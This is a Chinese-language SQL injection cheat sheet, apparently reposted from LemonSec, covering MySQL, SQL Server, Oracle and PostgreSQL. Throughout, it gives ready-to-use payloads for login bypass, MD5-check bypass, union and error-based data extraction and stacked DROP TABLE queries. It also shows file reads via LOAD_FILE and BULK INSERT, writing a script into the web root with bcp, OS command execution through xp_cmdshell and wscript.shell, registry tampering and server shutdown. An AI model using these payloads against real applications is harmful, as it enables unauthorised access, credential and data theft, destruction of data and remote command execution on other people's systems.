SQL注入速查表
0x00 關于SQL注入速查表
現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
樣例僅用于讀者理解對于“可能出現的攻擊(a potential attack)”的基礎概念,并且幾乎每一個部分都有一段簡潔的概要
- M: MySQL
- S: SQL Server
- P: PostgreSQL
- O: Oracle
- +: (大概)其他所有數據庫
例子:
- (MS) 代表 : MySQL 和 SQL Server 等
- (M*S) 代表 : 僅對某些版本或者某些附在后文中的特殊情況的 MySQL,以及SQL Server
0x01 目錄
- 關于SQL注入速查表
- 語法參考,攻擊樣例以及注入小技巧
- 獲取用戶定義表
- 獲取字段名
@@version(MS)- 文件插入(Bulk Insert)(S)
- BCP(S)
- SQL Server的VBS/WSH(S)
- 執行系統命令,xp_cmdshell(S)
- SQL Server中的一些特殊的表(S)
- SQL Server的其它內置程序(S)
- 大量MSSQL筆記
- 使用LIMIT(M)或ORDER(MSO)的注入
- 關掉SQL Server(S)
- 獲取字段類型
- 使用
HAVING來探測字段名(S) - 在
SELECT查詢中使用ORDER BY探測字段數(MSO+) - 繞過MD5哈希檢查的例子(MSP)
- UNION-語言問題處理
- 使用了16進制的注入攻擊樣例
- 字符串的串聯
- MySQL的If語句
- SQL Server的If語句
- 使用了If語句的注入攻擊樣例
- 支持堆疊查詢的語言/數據庫
- 關于MySQL和PHP
- 堆疊注入攻擊樣例
- 使用了行內注釋的注入攻擊樣例
- MySQL版本探測攻擊樣例
- 使用了行間注釋的SQL注入攻擊樣例
- 行間注釋
- 行內注釋
- 堆疊查詢(Stacking Queries)
- If語句
- 整數(Integers)的使用
- 字符串操作
- 沒有引號的字符串
- 字符串異化(Modification)與聯系
- Union注入
- 繞過登陸界面(SMO+)
- 繞過檢查MD5哈希的登陸界面
- 基于錯誤(Error Based)-探測字段名
- 數據類型、UNION、之類的
- 簡單的注入(MSO+)
- 有用的函數、信息收集、內置程序、大量注入筆記
- 在SQL Server 2005中啟用xp_cmdshell
- 探測SQL Server數據庫的結構(S)
- 移動記錄(Moving records)(S)
- 快速的脫掉基于錯誤(Error Based)的SQL Server注入(S)
0x02 語法參考,攻擊樣例以及注入小技巧
行間注釋
注釋掉查詢語句的其余部分
行間注釋通常用于注釋掉查詢語句的其余部分,這樣你就不需要去修復整句語法了。
--(SM)DROP sampletable;--#(M)DROP sampletable;#
使用了行間注釋的SQL注入攻擊樣例
用戶名:admin'--- 構成語句:
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'這會使你以admin身份登陸,因為其余部分的SQL語句被注釋掉了。
行內注釋
通過不關閉注釋注釋掉查詢語句的其余部分,或者用于繞過過濾,移除空格,混淆,或探測數據庫版本。
/*注釋內容*/(SM)DROP/*comment*/sampletableDR/**/OP/*繞過過濾*/sampletableSELECT/*替換空格*/password/**/FROM/**/Members/*! MYSQL專屬 */(M)- 這是個MySQL專屬語法。非常適合用于探測MySQL版本。如果你在注釋中寫入代碼,只有MySQL才會執行。同樣的你也可以用這招,使得只有高于某版本的服務器才執行某些代碼。
SELECT /*!32302 1/0, */ 1 FROM tablename
使用了行內注釋的注入攻擊樣例
ID:10; DROP TABLE members /*簡單地擺脫了處理后續語句的麻煩,同樣你可以使用10; DROP TABLE members --
MySQL版本探測攻擊樣例
SELECT /*!32302 1/0, */ 1 FROM tablename如果MySQL的版本高于3.23.02,會拋出一個division by 0 error
ID:/*!32302 10*/ID:10如果MySQL版本高于3.23.02,以上兩次查詢你將得到相同的結果
堆疊查詢(Stacking Queries)
一句代碼之中執行多個查詢語句,這在每一個注入點都非常有用,尤其是使用SQL Server后端的應用
;(S)SELECT * FROM members; DROP members--結束一個查詢并開始一個新的查詢
支持堆疊查詢的語言/數據庫
綠色:支持,暗灰色:不支持,淺灰色:未知

關于MySQL和PHP
闡明一些問題。
PHP-MySQL不支持堆疊查詢,Java不支持堆疊查詢(ORACLE的我很清楚,其他的就不確定了)。一般來說MySQL支持堆疊查詢,但由于大多數PHP-Mysql應用框架的數據庫層都不能執行第二條查詢,或許MySQL的客戶端支持這個,我不確定,有人能確認一下嗎?
(譯者注:MySQL 5.6.20版本下客戶端支持堆疊查詢)
堆疊注入攻擊樣例
ID:10;DROP members --構成語句:SELECT * FROM products WHERE id = 10; DROP members--
這在執行完正常查詢之后將會執行DROP查詢。
If語句
根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵之一,同樣也能簡單而準確地進行一些測試。
MySQL的If語句
IF(condition,true-part,false-part)(M)
SELECT IF (1=1,'true','false')SQL Server的If語句
IF condition true-part ELSE false-part(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'使用了If語句的注入攻擊樣例
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)如果當前用戶不是"sa"或者"dbo",就會拋出一個divide by zero error。
整數(Integers)的使用
對于繞過十分有用,比如magic_quotes() 和其他類似過濾器,甚至是各種WAF。
0xHEXNUMBER(SM)- (HEXNUMBER:16進制數) 你能這樣使用16進制數:
SELECT CHAR(0x66)(S)SELECT 0x5045(M) (這不是一個整數,而會是一個16進制字符串)SELECT 0x50 + 0x45(M) (現在這是整數了)
字符串操作
與字符串相關的操作。這對于構造一個不含有引號,用于繞過或探測數據庫都非常的有用。
字符串的串聯
+(S)SELECT login + '-' + password FROM members||(*MO)SELECT login || '-' || password FROM members
*關于MySQL的"||" 這個僅在ANSI模式下的MySQL執行,其他情況下都會當成'邏輯操作符'并返回一個0。更好的做法是使用CONCAT()函數。
CONCAT(str1, str2, str3, ...)(M)- 連接參數里的所有字符串 例:
SELECT CONCAT(login, password) FROM members
沒有引號的字符串
有很多使用字符串的方法,但是這幾個方法是一直可用的。使用CHAR()(MS)和CONCAT()(M)來生成沒有引號的字符串
0x457578(M) - 16進制編碼的字符串SELECT 0x457578- 這在MySQL中會被當做字符串處理
- 在MySQL中使用16進制字符串的一個簡單方式:
SELECT CONCAT('0x',HEX('c:\\boot.ini')) - 在MySQL中使用
CONCAT()函數:SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))(M) - 這會返回'KLM'
SELECT CHAR(75)+CHAR(76)+CHAR(77)(S)- 這會返回'KLM'
使用了16進制的注入攻擊樣例
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)(M)- 這會顯示c:\boot.ini的內容
字符串異化(Modification)與聯系
ASCII()(SMP)- 返回最左邊字符的ASCII碼的值。這是一個用于盲注的重要函數。
- 例:
SELECT ASCII('a') CHAR()(SM)- 把整數轉換為對應ASCII碼的字符
- 例:
SELECT CHAR(64)
Union注入
通過union你能跨表執行查詢。最簡單的,你能注入一個查詢使得它返回另一個表的內容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
這會把news表和members表的內容合并返回。
另一個例子: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION-語言問題處理
當你使用Union來注入的時候,經常會遇到一些錯誤,這是由于不同的語言的設置(表的設置、字段設置、表或數據庫的設置等等)。這些辦法對于解決那些問題都挺有用的,尤其是當你處理日文,俄文,土耳其文的時候你會就會見到他們的。
- 使用
COLLATE SQL_Latin1_General_Cp1254_CS_AS(S) - 或者其它的什么語句,具體的自己去查SQL Server的文檔。例:
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members Hex()(M)- 百試百靈~
繞過登陸界面(SMO+)
SQL注入101式(大概是原文名字吧?),登陸小技巧
admin' --admin' #admin'/*' or 1=1--' or 1=1#' or 1=1/*') or '1'='1--') or ('1'='1--- ....
- 以不同的用戶登陸 (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
**舊版本的MySQL不支持union*
繞過檢查MD5哈希的登陸界面
如果應用是先通過用戶名,讀取密碼的MD5,然后和你提供的密碼的MD5進行比較,那么你就需要一些額外的技巧才能繞過驗證。你可以把一個已知明文的MD5哈希和它的明文一起提交,使得程序不使用從數據庫中讀取的哈希,而使用你提供的哈希進行比較。
繞過MD5哈希檢查的例子(MSP)
用戶名:admin密碼:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
基于錯誤(Error Based)-探測字段名
使用HAVING來探測字段名(S)
' HAVING 1=1 --' GROUP BY table.columnfromerror1 HAVING 1=1 --' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --- ……
' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --- 直到它不再報錯,就算搞定了
在SELECT查詢中使用ORDER BY探測字段數(MSO+)
通過ORDER BY來探測字段數能夠加快union注入的速度。
ORDER BY 1--ORDER BY 2--- ……
ORDER BY N--- 一直到它報錯為止,最后一個成功的數字就是字段數。
數據類型、UNION、之類的
提示:
- 經常給UNION配上ALL使用,因為經常會有相同數值的字段,而缺省情況下UNION都會嘗試返回唯一值(records with distinct)
- 如果你每次查詢只能有一條記錄,而你不想讓原本正常查詢的記錄占用這寶貴的記錄位,你可以使用
-1或者根本不存在的值來搞定原查詢(前提是注入點在WHERE里)。 - 在UNION中使用NULL,對于大部分數據類型來說這樣都比瞎猜字符串、日期、數字之類的來得強
- 盲注的時候要小心判斷錯誤是來自應用的還是來自數據庫的。因為像ASP.NET就經常會在你使用NULL的時候拋出錯誤(因為開發者們一般都沒想到用戶名的框中會出現NULL)
獲取字段類型
' union select sum(columntofind) from users--(S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.如果沒有返回錯誤說明字段是數字類型- 同樣的,你可以使用
CAST()和CONVERT() SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-- 沒報錯 - 語法是正確的。這是MS SQL Server的語法。繼續。
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-- 沒報錯 – 第一個字段是
integer類型。 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --- 報錯 – 第二個字段不是
integer類型 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-- 沒報錯 – 第二個字段是
string類型。 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-- 報錯 – 第三個字段不是
integer - ……
Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.
你在遇到union錯誤之前會先遇到convert()錯誤,所以先使用convert()再用union
簡單的注入(MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
有用的函數、信息收集、內置程序、大量注入筆記
@@version(MS)
數據庫的版本。這是個常量,你能把它當做字段來SELECT,而且不需要提供表名。同樣的你也可以用在INSERT/UPDATE語句里面,甚至是函數里面。
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
文件插入(Bulk Insert)(S)
把文件內容插入到表中。如果你不知道應用目錄你可以去讀取IIS metabase file(僅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)然后在里面找到應用目錄。
- 新建一個表foo(
line varchar(8000)) BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'- DROP了臨時表,重復另一個文件
BCP(S)
寫入文件。這個功能需要登錄 bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
SQL Server的VBS/WSH(S)
由于ActiveX的支持,你能在SQL Server中使用VBS/WSH
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --執行系統命令,xp_cmdshell(S)
眾所周知的技巧,SQL Server 2005默認是關閉的。你需要admin權限
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
用ping簡單的測試一下,用之前先檢查一下防火墻和嗅探器。
EXEC master.dbo.xp_cmdshell 'ping '
如果有錯誤,或者union或者其他的什么,你都不能直接讀到結果。
SQL Server中的一些特殊的表(S)
- Error Messages
master..sysmessages- Linked Servers
master..sysservers- Password (2000和2005版本的都能被破解,這倆的加密算法很相似)
- SQL Server 2000: masters..sysxlogins
- SQL Server 2005 : sys.sql_logins
SQL Server的其它內置程序(S)
- 命令執行 (xp_cmdshell)
exec master..xp_cmdshell 'dir'- 注冊表操作 (xp_regread)
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'- 管理服務(xp_servicecontrol)
- 媒體(xp_availablemedia)
- ODBC 資源 (xp_enumdsn)
- 登錄 (xp_loginconfig)
- 創建Cab文件 (xp_makecab)
- 域名列舉 (xp_ntsec_enumdomains)
- 殺進程 (need PID) (xp_terminate_process)
- 新建進程 (實際上你想干嘛都行)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver- 寫文件進UNC或者內部路徑 (sp_makewebtask)
大量MSSQL筆記
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
你不能在 SQL Server 的Insert查詢里使用子查詢(sub select).
使用LIMIT(M)或ORDER(MSO)的注入
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
如果注入點在LIMIT的第二個參數處,你可以把它注釋掉或者使用union注入。
關掉SQL Server(S)
如果你真的急了眼,';shutdown --
在SQL Server 2005中啟用xp_cmdshell
默認情況下,SQL Server 2005中像xp_cmdshell以及其它危險的內置程序都是被禁用的。如果你有admin權限,你就可以啟動它們。
`\ EXEC sp_configure 'show advanced options',1 RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `\
探測SQL Server數據庫的結構(S)
獲取用戶定義表
SELECT name FROM sysobjects WHERE xtype = 'U'
獲取字段名
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
移動記錄(Moving records)(S)
- 修改WHERE,使用NOT IN或者NOT EXIST
... WHERE users NOT IN ('First User', 'Second User')SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- 這個好用 - 臟的不行的小技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
快速的脫掉基于錯誤(Error Based)的SQL Server注入(S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
文章來源:LemonSec